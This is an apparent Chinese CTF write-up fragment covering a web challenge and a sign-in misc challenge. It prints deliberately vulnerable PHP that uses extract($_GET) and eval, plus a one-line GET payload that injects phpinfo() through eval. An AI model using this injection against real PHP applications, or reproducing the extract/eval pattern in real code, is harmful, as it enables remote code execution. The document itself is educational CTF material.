Web/迷路的魔法少女

魔法少女迷失在了代码空间 请寻找她现在在哪

<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr);
/?attrid[]=&attrvalue[]=");phpinfo();//

image-20211024120107148

参考:CG-CTF 变量覆盖(PHP extract函数利用) | CTF-PHP黑魔法

Misc/WELCOME DASCTFxJlenu

欢迎来到魔法的世界(签到)

可是有几层包浆的原题了属于是,之前绝对做过一次

image-20211024105141498

image-20211024105144295